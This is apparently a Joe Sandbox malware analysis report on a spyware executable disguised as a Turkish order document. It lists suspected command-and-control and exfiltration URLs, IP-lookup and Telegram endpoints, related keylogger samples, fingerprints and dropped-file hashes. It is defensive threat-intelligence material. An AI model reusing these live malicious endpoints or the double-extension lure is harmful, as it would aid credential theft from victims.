https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://aborters.duckdns.org:8081	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ac.ecosia.org/autocomplete?q=	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1518653300.0000000002521000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3714163858.0000000003F01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586917
Start date and time:	2025-01-09 19:00:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe renamed because original name is a hash value
Original Sample Name:	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Siparii jpeg docx .exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/11@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 79 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 40.126.31.69, 23.56.254.164, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, otelrules.azureedge.net, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Simulations

Behavior and APIs

Time	Type	Description
13:01:04	API Interceptor	7414300x Sleep call for process: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe modified
13:01:06	API Interceptor	10x Sleep call for process: powershell.exe modified
14:52:41	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 615TBI507_ ACCADO san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	ENQ-0092025.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	document pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse
	gem1.exe	Get hash	malicious	Unknown	Browse
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse
	bc7EKCf.exe	Get hash	malicious	StormKitty	Browse
	PO.exe	Get hash	malicious	MassLogger RAT	Browse
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.64.1
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	Payment 01.08.25.pdf.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	104.21.48.1
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
api.telegram.org	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
	gem1.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	bc7EKCf.exe	Get hash	malicious	StormKitty	Browse	149.154.167.220
	PO.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
checkip.dyndns.com	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	fiyati_teklif 615TBI507_ ACCADO san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Payment 01.08.25.pdf.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	193.122.6.168

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
	gem1.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DyM4yXX.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	bc7EKCf.exe	Get hash	malicious	StormKitty	Browse	149.154.167.220
	5dFLJyS86S.ps1	Get hash	malicious	Unknown	Browse	149.154.167.99
	PO.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	BgroUcYHpy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
UTMEMUS	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	fiyati_teklif 615TBI507_ ACCADO san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	pbCN4g6sN5.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HVSU7GbA5N.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	oagkiAhXgZ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
CLOUDFLARENETUS	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	0V2JsCrGUB.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://boutiquedumonde.instawp.xyz/wp-content/themes/twentytwentyfive/envoidoclosa_toutdomaine/wetransfer/index.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	Fantazy.x86_64.elf	Get hash	malicious	Unknown	Browse	1.3.115.13
	https://sora-ai-download.com/	Get hash	malicious	Unknown	Browse	104.22.20.144
	ReIayMSG__polarisrx.com_#7107380109.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	104.26.5.30
	ReIayMSG__polarisrx.com_#6577807268.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	Order_List.scr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.112.1
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	CTM REQUEST-ETD JAN 22, 2024_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	Payment 01.08.25.pdf.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	104.21.112.1
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.112.1
3b5074b1b5d032e5620f69f9f700ff0e	PO-12202432_ACD_Group.pif.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Copy shipping docs PO EV1786 LY ECO PAK EV1.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://cipassoitalia.it	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	149.154.167.220
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	bc7EKCf.exe	Get hash	malicious	StormKitty	Browse	149.154.167.220
	s7.mp4.hta	Get hash	malicious	LummaC	Browse	149.154.167.220
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	5dFLJyS86S.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_3R4NQGPTA05DQTKJ_faaac2fccbefdfd3bb762763acb2229b9dbb1723_114e6520_f8580dcf-b3ae-4c8c-8784-088bea48a214\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2993816158797127
Encrypted:	false
SSDEEP:	192:YfK6cgGA0BU/iaWOJoNZrnBaadzuiFcyZ24IO8g:Z6cgKBU/iaxtOzuiFcyY4IO8g
MD5:	EEE78626456011ACB596FA732117F36F
SHA1:	9B483F2604FFA1B7B914D83CF8600279DD95333C
SHA-256:	BEDC3B7C8EBB66C091E27F1695E09E01102DBB2D63CF509A3DD7F5C72C4A588D
SHA-512:	D28B2EAA9830BB0D0F64A26F5A6181C81D7A82FD98B59CF6921B9D6279FCABC49AD4082401178F43100DF6B90E522CB357B2C7843D5E558E5153C76933E437DE
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.9.1.9.2.6.6.8.8.3.3.5.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.9.1.9.2.6.7.6.1.7.7.0.8.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.8.5.8.0.d.c.f.-.b.3.a.e.-.4.c.8.c.-.8.7.8.4.-.0.8.8.b.e.a.4.8.a.2.1.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.7.1.d.6.2.c.f.-.f.2.0.e.-.4.0.b.1.-.9.b.8.f.-.8.a.5.3.b.e.e.7.8.5.1.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.y.a.t.i._.t.e.k.l.i.f. .6.5.T.B.I.5.0.7._. .O.N.-.S.A.N. .V.a.k.u.m. .s.a.n. .t.i.c._. .S.i.p.a.r.i.#.U.0.1.5.f.i. .j.p.e.g.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.K.x.T.Q...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.1.4.0.-.0.0.0.1.-.0.0.1.4.-.9.7.d.d.-.4.3.7.3.c.0.6.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.5.3.a.b.0.7.8.a.6.d.b.a.6.7.3.f.7.f.d.4.4.2.e.8.4.2.7.c.4.e.b.0.0.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERADDE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 9 18:01:07 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	366941
Entropy (8bit):	3.8707612038886268
Encrypted:	false
SSDEEP:	6144:Pgnnt9TkyVGi9pAGkwtV5b4XERlZTgEt4V:Pgnnt9A4Gi9pbF/5WilZTW
MD5:	A4110F6F6AE6AB979B27D467F36F61D0
SHA1:	A1FEFA5A72BE2793A932EF14533D36A6D52B18E1
SHA-256:	8FD6588745134C73DDA6A169FD121F5CEDDB08D7706A346C54C43FAE3C75A02F
SHA-512:	B417E8B3CAD78CC57A723BFD9DFFBEAEB07DA492F0A18C71ADE60D3F8E50B486AF83D1BE974143518132B326431990D6512FADCF3DF05D0925ABF1D074D26790
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g............d...........0"..x.......$....,.......5..\o..........`.......8...........T............D...T...........,..........................................................................................eJ......P/......GenuineIntel............T.......@......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFF3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8562
Entropy (8bit):	3.713277974606056
Encrypted:	false
SSDEEP:	192:R6l7wVeJB+6dYe6YNRSU9xTgmfZZppr189bab+sf/0jm:R6lXJY6L6YbSU9xTgmfnWab9fc6
MD5:	58C88947AFCB32290FBC072E514DA67A
SHA1:	C35E49978104951186A425B461E4880144261C37
SHA-256:	1DDFDB4C53E0F87C72C13C6E58285F71230CC0630CAD3F5752593826A049B3F2
SHA-512:	DA4606C4F7AA7C3D398A3E26A0FFB36BD6F307772250615C2507275C1249B1EA94EC60D4680FDD9E458883CD8DC23C7AEBB7BC7F15799576AD2B33EB3C7DB08E
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.2.0.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB022.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4947
Entropy (8bit):	4.588007449087657
Encrypted:	false
SSDEEP:	48:cvIwWl8zsCJg77aI9niMyWpW8VYrYm8M4JwNo/Fu+q8vBNo6IDG90dXmd:uIjfQI7wk7V/Jw+UKB+6IC90Bmd
MD5:	5B70474081E8716355FD55B354C77E92
SHA1:	4066467D97E2E036BD001F6E4FC338F254EF429A
SHA-256:	90B3061DD8C63C64EF6EB53554C54B196177186E97881E1568C3ACB43947B11D
SHA-512:	462666B2691E52D9D4206DA29503B2D8ECD61BB8F090F4BF4D1344383C0C7AEFCCA1839808F55DE4FDD58F57B384BC35634608787538DE63299ACC7FA50E9DA0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="668703" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.log

Download File

Process:	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
